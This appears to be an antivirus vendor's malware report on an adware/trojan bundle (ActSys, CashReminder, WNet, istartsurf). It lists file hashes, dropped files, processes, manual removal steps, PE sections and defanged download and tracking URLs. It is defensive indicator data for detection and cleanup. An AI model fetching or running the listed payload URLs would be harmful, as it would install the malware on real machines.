d7a3fa6a6c738b4a3c40d5602af20b08	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nss3.tmp\inetc.dll
84bcf3c71e70d5a6e9dc07d70466bdc3	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nss3.tmp\nsWeb.dll
2b7007ed0262ca02ef69d8990815cbeb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nss3.tmp\registry.dll
10e7e120e184f81befc774637d7e03e8	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\291014_nj[1].exe
85e934b4fb894451250c922119c9b21d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\310714_is[1]
c9a7119d6bce1580d2b981e89f792951	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\280815_cr[1].exe
905e2be9c511e129b487b526ba2e0ca5	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\310714_br[1].exe
d704946e9d6a11585e315efb76c1fb49	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\310714_a9[1].exe
4a55c7ba203a42c5f6014fa68c221b02	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\G5MRO1IJ\240714_ps[1].exe
5b46443f5326d4e7b8bb243229e824ba	c:\Program Files\ActSys\ActSys.exe
f463ca1345ed866697f460ffd36db4f6	c:\Program Files\ActSys\ProtocolFilters.dll
47a9d585dbf59f54574d978c4200a520	c:\Program Files\ActSys\libeay32.dll
04a835251535006c85473a604fba8bdc	c:\Program Files\ActSys\nfapi.dll
01b5780505301ada6dc102fb77b2298c	c:\Program Files\ActSys\nfregdrv.exe
df26ff58a6e9a7ed047186d4f3adc96f	c:\Program Files\ActSys\remove_ActSys.exe
2da6e9df4979ca65a01c4df6eb5600d2	c:\Program Files\ActSys\ssleay32.dll
56b55f57f9454f91d2c67a34c88600c2	c:\Program Files\CashReminder\CashReminder.exe
fab8104ced422c551bcf2dda631e5930	c:\Program Files\CashReminder\ProtocolFilters.dll
47a9d585dbf59f54574d978c4200a520	c:\Program Files\CashReminder\libeay32.dll
04a835251535006c85473a604fba8bdc	c:\Program Files\CashReminder\nfapi.dll
01b5780505301ada6dc102fb77b2298c	c:\Program Files\CashReminder\nfregdrv.exe
f4cb5375ece85ee8a909e9a3b1b8597a	c:\Program Files\CashReminder\remove.exe
2da6e9df4979ca65a01c4df6eb5600d2	c:\Program Files\CashReminder\ssleay32.dll
fab8104ced422c551bcf2dda631e5930	c:\Program Files\WNet\ProtocolFilters.dll
45571677457a9bfd49aadada0fd91ca8	c:\Program Files\WNet\WNet.exe
47a9d585dbf59f54574d978c4200a520	c:\Program Files\WNet\libeay32.dll
04a835251535006c85473a604fba8bdc	c:\Program Files\WNet\nfapi.dll
92a6df47283b49b207045fa7a4502bc1	c:\Program Files\WNet\nfregdrv.exe
2da6e9df4979ca65a01c4df6eb5600d2	c:\Program Files\WNet\ssleay32.dll
c9eacab594f8639583d7330acd4f3848	c:\Program Files\WNet\uninst.exe
1a97cfc42ec25225d83d311f687418f0	c:\WINDOWS\system32\drivers\asfilterdrv.sys
3f48ed48d01ce6c6be680d285c93e9de	c:\WINDOWS\system32\drivers\crfilterdrv.sys
ad00326c28d84ed704c2f87cda6c9998	c:\WINDOWS\system32\drivers\ssfilterdrv.sys

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   net1.exe:1628
   net1.exe:1924
   net1.exe:1088
   DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_ps.exe:1168
   WdsManPro.exe:612
   WdsManPro.exe:1012
   DMZOYZYGB4j34h6c6LiO.exe:348
   CashReminder.exe:616
   net.exe:344
   net.exe:1740
   net.exe:136
   QQBrowser.exe:1868
   QQBrowser.exe:1912
   wpm_v20.0.0.2301.exe:828
   ActSys.exe:248
   DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_a9.exe:224
   DMZOYZYGB4j34h6c6LiO_is.exe:1808
   SFKEX.exe:3300
   nfregdrv.exe:1932
   nfregdrv.exe:624
   SSFK.exe:2756
   DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_br.exe:1628
   SSFK_v2.0.6.26.exe:908
   DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_nj.exe:1472
   WNet.exe:1140
   %original file name%.exe:1980

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\mj (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\WmiInspector.dll (3039 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\nsA.tmp (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\NSISEncrypt.dll (3188 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\lm (128 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\UserInfo.dll (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\tlg (41 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\inetc.dll (20 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\ns6.tmp (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\nsExec.dll (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\IpConfig.dll (4136 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\nsJSON.dll (7 bytes)
   %Program Files%\CashReminder\ssleay32.dll (12536 bytes)
   %Program Files%\CashReminder\nfapi.dll (4992 bytes)
   %Program Files%\CashReminder\remove.exe (313 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nskF.tmp (53797 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf10.tmp\SimpleSC.dll (1856 bytes)
   %Program Files%\CashReminder\libeay32.dll (41192 bytes)
   %System%\drivers\crfilterdrv.sys (57 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf10.tmp\SelfDel.dll (5 bytes)
   %Program Files%\CashReminder\nfregdrv.exe (1552 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf10.tmp\System.dll (11 bytes)
   %Program Files%\CashReminder\CashReminder.exe (15536 bytes)
   %Program Files%\CashReminder\crfilterdrv.sys (1856 bytes)
   %Program Files%\CashReminder\ProtocolFilters.dll (12536 bytes)
   %Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\rules[1].txt (314 bytes)
   %Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\stores[1].htm (784 bytes)
   %WinDir%\Temp\P_StoreList.txt (784 bytes)
   %WinDir%\Temp\P_RuleList.txt (314 bytes)
   %Documents and Settings%\%current user%\Application Data\istartsurf\bnd (2 bytes)
   %Documents and Settings%\%current user%\Application Data\istartsurf\uninstallDlg2.xml (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\HomePage.dat (157 bytes)
   %Documents and Settings%\%current user%\Application Data\istartsurf\645.json (524 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\645.db (179 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\SSFK_v2.0.6.26.exe (2771 bytes)
   %Documents and Settings%\%current user%\Application Data\istartsurf\UninstallManager.exe (2105 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\wpm_v20.0.0.2301.exe (2772 bytes)
   %Documents and Settings%\All Users\Application Data\{262E20B8-6E20-4CEF-B1FD-D022AB1085F5}.dat (178 bytes)
   %Documents and Settings%\All Users\Application Data\rWdsManPror\WdsManPro.exe (2321 bytes)
   %WinDir%\Temp\ActSys\SSL\cert.db (1 bytes)
   %WinDir%\Temp\ActSys\SSL\ActSSL 2.cer (2268 bytes)
   %Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\rules[1].txt (313 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\UninstallManager.exe (12536 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\uninstallDlg2.xml (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\conf (79 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\QQBrowserFrame.dll (3616 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\7thGame (19 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\QQBrowser.exe (5064 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\II.zip (24594 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\2[1].zip (89186 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\xlxbqc (27504 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\ffv2#0.0.10.xpi (6360 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\1[1].zip (86755 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\defsearchp@gmail.com!1.0.0.1039.xpi (1552 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I.zip (20193 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\645.json (524 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\is-O45KC.tmp\DMZOYZYGB4j34h6c6LiO_is.tmp (195 bytes)
   %Program Files%\SFK\Z (42 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\z[1].htm (42 bytes)
   %Program Files%\SFK\SFK.ini (122 bytes)
   %Program Files%\SFK\SFKEX64.dll (14184 bytes)
   %Program Files%\SFK\Yrrehs.zip (291 bytes)
   %Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (72 bytes)
   %Program Files%\SFK\SFKEX.exe (3616 bytes)
   %Program Files%\SFK\Run (72 bytes)
   %Program Files%\SFK\SFKEX.dll (12088 bytes)
   %Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (72 bytes)
   %Program Files%\SFK\SFKEX64.exe (4992 bytes)
   %Program Files%\SFK\Heartbeat (72 bytes)
   %Program Files%\WNet\nfregdrv.exe (1552 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn8.tmp (53652 bytes)
   %Program Files%\WNet\WNet.exe (15168 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsy9.tmp\System.dll (11 bytes)
   %Program Files%\WNet\ProtocolFilters.dll (12536 bytes)
   %Program Files%\WNet\ssfilterdrv.sys (1856 bytes)
   %System%\drivers\ssfilterdrv.sys (57 bytes)
   %Program Files%\WNet\ssleay32.dll (12536 bytes)
   %Program Files%\WNet\nfapi.dll (4992 bytes)
   %Program Files%\WNet\libeay32.dll (41192 bytes)
   %Program Files%\WNet\uninst.exe (2353 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsy9.tmp\SimpleSC.dll (1856 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsy9.tmp\SelfDel.dll (5 bytes)
   %Program Files%\SFK\SSFK.exe (2321 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (72 bytes)
   %Program Files%\SFK\install (72 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\ns11.tmp (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\import_root_cert.exe (3312 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\certutil.exe (3312 bytes)
   %Program Files%\ActSys\ActSys.exe (15536 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\import.bat (69 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\nsExec.dll (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\actssl.cer (756 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\SelfDel.dll (5 bytes)
   %System%\drivers\asfilterdrv.sys (57 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszC.tmp (107747 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\nspr4.dll (6360 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\nss3.dll (12536 bytes)
   %Program Files%\ActSys\remove_ActSys.exe (825 bytes)
   %Program Files%\ActSys\ssleay32.dll (12536 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\plds4.dll (784 bytes)
   %Program Files%\ActSys\nfapi.dll (4992 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\plc4.dll (784 bytes)
   %Program Files%\ActSys\asfilterdrv.sys (1856 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\mozcrt19.dll (23936 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\softokn3.dll (12536 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\smime3.dll (3616 bytes)
   %Program Files%\ActSys\libeay32.dll (41192 bytes)
   %Program Files%\ActSys\nfregdrv.exe (1552 bytes)
   %Program Files%\ActSys\ProtocolFilters.dll (38904 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\SimpleSC.dll (1856 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\System.dll (11 bytes)
   %Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\rules[1].txt (232 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\310714_br[1].exe (88107 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nss3.tmp\inetc.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nss3.tmp\registry.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiO_is.exe (52816 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\css[1].css (165 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G5MRO1IJ\4fu8RBPDDCYpod03lr_bYQ[1].eot (7556 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsx2.tmp (2104 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G5MRO1IJ\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\go[1].css (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_a9.exe (21968 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\0053.urlshortener[2].css (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G5MRO1IJ\0053.urlshortener[1].js (1218 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\0053.urlshortener[1].js (1928 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G5MRO1IJ\240714_ps[1].exe (33816 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\MrqsDW[1] (700 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G5MRO1IJ\MrqsDW[1].htm (5 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiO.exe (84591 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nss3.tmp\nsWeb.dll (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\291014_nj[1].exe (191016 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\url_shortener_logo[1].gif (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_ps.exe (33816 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\310714_a9[1].exe (21968 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_br.exe (88107 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_nj.exe (191016 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\280815_cr[1].exe (84591 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\0053.urlshortener[1].css (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\310714_is[1] (52816 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments: DMZOYZYGB4j34h6c6L
Language: English (United States)

Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: File Description: Comments: DMZOYZYGB4j34h6c6LLanguage: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23462	23552	4.51398	9d64b6ac6eb1aa41e38f6cc8798b652e
.rdata	28672	4496	4608	3.59163	f179218a059068529bdb4637ef5fa28e
.data	36864	3774424	1024	3.26654	af685ae5a632e08acd6c90a62cdfc3bb
.ndata	3813376	36864	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	3850240	2896	3072	2.95224	7f9fbd72760297b532dd7afac846e098

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 40
16e92c863dbe0ff645717fc089b10fda
151d9055b3ea813b5c9128fff0a3cf88
0d16125a1c2090aefaeae4a97bbd3818
05649d438d5bdcb222cb8584ec98c125
bbed1319de1ecd6cfef5e34ca5462c93
80de774b4cffa9e56e0a1b1ec488dab6
5570a0d83fe332983a8b1512a8397dbd
37fd70fdf5fa73571b251b17938ff29b
0827a9afe2954773c408e08f1ef7ff6b
d7a0a205e9f026d38b383a68788b1799
d5463fc22f2a28f070fdfb1289d9a924
bb48dc06e3dbf91337b292ff40f7bd37
a85f0756ff1da460fd21e19fe7e49011
975fec9a396e468b2c6b27c3fdea7f76
1342e5d01155cf92abf23895bcb63a0d
a397f680c1b3dc01d18ea188a051ece9
9612cac2ebffa7ee7b782936443bf473
88909b805bec8ae70a93ef73fbe7b030
7ed44c3a8f81812fb63310df90f270ad
70c5c13caf63c21eee0e496fe5afdd0f
370801994043e08548273cd6fb965b29
30359b098c36f89c704dc1d1cf860d10
0febe9358cd9dcc95e45390f193ae3f8
0a8087f0b640ff8b71abc44117a55940
ef7804e30247da8e8aa9acbf8d61b2f0
edb72d5aa623ce6e3ea374b3bee7e28a

Network Activity

URLs

URL	IP
hxxp://www.4threquest.me/310714d/310714_is.exe?token=DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO
hxxp://www.4threquest.me/310714d/310714_a9.exe?token=DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO
hxxp://www.4threquest.me/310714d/240714_ps.exe?token=DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action1=xa.geoip&action2=visit&action3=pcm.visit.istartsurf&update1=ref,pcm&update2=identifier,installer&update3=version,7.0.0.2807&update4=nation,us&update5=language,en
hxxp://dqoup4b5zs0bi.cloudfront.net/4760/1
hxxp://www.4threquest.me/310714d/310714_br.exe?token=DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO
hxxp://d1eqq89si3cuqg.cloudfront.net/r3/4760_a1743d7d7fb7798a12d6b42db36c96e3/1.zip
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.dlzip1.istartsurf.finish,2
hxxp://plainsavingscenter.com/mg?alpha=FHZwUDwjOkEFAyg9X3ozFTIjXTwUMHIhP2ARcxUlYycxNzFECm0iVhVHcV9rQGhoBTEUARxUDwEBJwQtB35KXU5sIWwfN0QFQzZrVi9y
hxxp://www.4threquest.me/310714d/291014_nj.exe?token=DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO
hxxp://istartsurf.com/logic/z.php
hxxp://plainsavingscenter.com/fp?alpha=IWgQTWZ9UHZaJwAiP2dpICxDQGYhNAY8JwZpQVk5ZzgeGXU3Qx04CiorC05GfWNkEB8hA3pLJ05zSBd4LCBsPBBOaFQgaQEyDk8lHjEyLgd+dQsZJzVsWDBuUwIQDH0hOElGYn0SED8IKyMKSip8dhUZHCYae0wlIG9BEXIyby8THSkXFQAiJSkDTiNZPHYqZXMlEQw4MX1DNnYFBAJeLjo8H0tjdgQTPBgnKBwdZm12RAgScw59SDJvM0xxKHtoMhRYXw4HAjgua1oXZAQ9JTMYBwAATnhjYEcxZ1YGFA94MWgPB24aWAZ+TXp+ATowdH8RbB8nA3hIJjtzMGUCJiBpPhBNd1FWZHJCd0BCVRplJGUxNiFDKAM=
hxxp://plainsavingscenter.com/ii?alpha=IWgQTWZZGi5rCEVmP2dpICxDQGYhNBxlawRQURkpfm1BTTI0VB1bVHJzUltULDhMRk1iCCcJcX8XFRxyJDxpUxBLdFBZfnA1A0gwXn4/YGkiJXlPbHQtRGMkQUVFAnklME1cZgUUDUoAJioRTzN+DQgRHCkWY09VPW9DFwEtTGpFF1k3FFxkZnILSjNcbXgjYH12HgI6NmhFMmVBUkdZCGVmQQI2PFRMZEp2PFgeYQ88Sn4XJwB+USY0bkEPdSE8bltHGjUuDjN9UWVebB4sL2MxbhNPQm5oKgYtdlQED10jYy8TGCUhVh1GUXBoUwhoKzoFf0N/SiEIZy0GIQEQZmI6GFMMMw0PMSwkQB1xHjE5fXRpZBMCOylvQzFmR0VHTTx+ahlLIyVHSysCMykSSyEiPUlJRHYTCxFzYTcCSWA8WDIUVBo+QjIkIXBTCypLNiAuYHUqFFw3fnsUd2teBg4OeiUvEQpudBQaO3spKAVBPwx0HWoQIhloD3tpYzdALGdoehlPEjRfJR4fSndeZwI1NS4QEBtobSxjKUhXGxBXUFpqQWAOHyYlSABCfFY6dBp1KW5hWkNnS2gPfzB4FE8jKTx6Bx1ONiVlOyEXFw==
hxxp://log.very911.com/install.gif?bundle=istartsurf&ptid=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001
hxxp://plainsavingscenter.com/if?alpha=JGRYTDEgLCweWwQpd2Y+JSALQTEkOFRkPAFcGRh+e2EJTGUxWFVaA3d/GloDKTQERxpnBG8IJnobXR0lITAhUkdOeBhYKXU5S0lnW3J3YT4nKTFOO3EhDGJzREkNAy4gPAVdMQAYRUtXIyZZTmR7AUAQSywaK04COGMLFlYoQCJEQFwzSV1ULW0SFR0GPWpZajokPVo0djJVJmwUB14Yay83BFsxbxhcJF0uOERLZXhxXg8ZcUREDCw1O1xYZ31uZhlRHjNMInUqXkNPelh6LCszZmZbGGwwd1plbi5VCQNIQSNbGXA4WA03OH94EBUnO25NGk85QG8KZWchT0VlLEx9HwUVJUUGc2VfFxcwByNtMlsGaD5fMmQ0TnNoDVQLUj1kYEYZbS5GSDBPIzhFVGJ+cl0JDnFQcBcgbXJJQXR6IS5cRFRmDA90KWkQHmktOnl+aiUgTgUIbDhJZWVCaR5faXd2HUxqNxVcLAEkZkkDdik0UBBNOBM2TGVlMwQQJysxV0ZFQ2wSIT19SkRKY04kcXY+ECkCXjgkNVJtb19+JGFTUyNQBWkiFSxJMFhXUh4kdRQgXhxmRyYoKnomTEF7MUhQOVcyN1gEJwF6Fw8xWh0MTDFFCA==
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.installer.istartsurf.finish
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.dlzip1.istartsurf.install
hxxp://istartsurf.com/?type=hp&ts=1442019795&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001
hxxp://dqoup4b5zs0bi.cloudfront.net/4760/2
hxxp://istartsurf.com/local/css/simple2.css?version=20150907a082400
hxxp://d1eqq89si3cuqg.cloudfront.net/r3/4760_49a0786cf7e697e4a7b97ce3c2053d62/2.zip
hxxp://istartsurf.com/global/js/jquery.js?version=20150907a
hxxp://a1737.g.akamai.net/ftpup/vres/v2/images/22find/images/loading.gif
hxxp://a1737.g.akamai.net/ftpup/images/img/sprite/sprite_simpleindexen_hot_margin1_5_7bce58e1133367b2f61a20c31726d6c2.png
hxxp://istartsurf.com/local/js/simple_other.js?version=20150907a0824
hxxp://www.4threquest.me/310714d/280815_cr.exe
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.installer.istartsurf.wpm
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.installer.istartsurf.ssfk
hxxp://goo.gl/MrqsDW
hxxp://goo.gl/static/0053.urlshortener.css
hxxp://www.google.com/css/go.css
hxxp://goo.gl/static/0053.urlshortener.js
hxxp://googleadapis.l.google.com/css?family=Open Sans:300,400,700&subset=latin,cyrillic-ext,greek-ext,cyrillic,greek,vietnamese,latin-ext
hxxp://www.google.com/images/logos/url_shortener_logo.gif
hxxp://gstaticadssl.l.google.com/s/opensans/v13/4fu8RBPDDCYpod03lr_bYQ.eot
hxxp://brsoftwarellc.com/services/rules.txt?dummy=654
hxxp://brsoftwarellc.com/services/update.php?v=2.1.0&key=cntWr7wdpwLSzP114aWiIK97RvaCIkvN&dummy=936
hxxp://related.deals/services/stores?dummy=720
hxxp://related.deals/services/rules?dummy=213
hxxp://related.deals/services/update/2.1.0/WJo1ohMhy36qSr05BodnCGx4v5vFCO2d/354
hxxp://www.ninjasoftwarellc.com/services/rules.txt?dummy=791
hxxp://www.related.deals/services/stores?dummy=720	167.114.116.173
hxxp://a.thanksearch.com/ftpup/vres/v2/images/22find/images/loading.gif
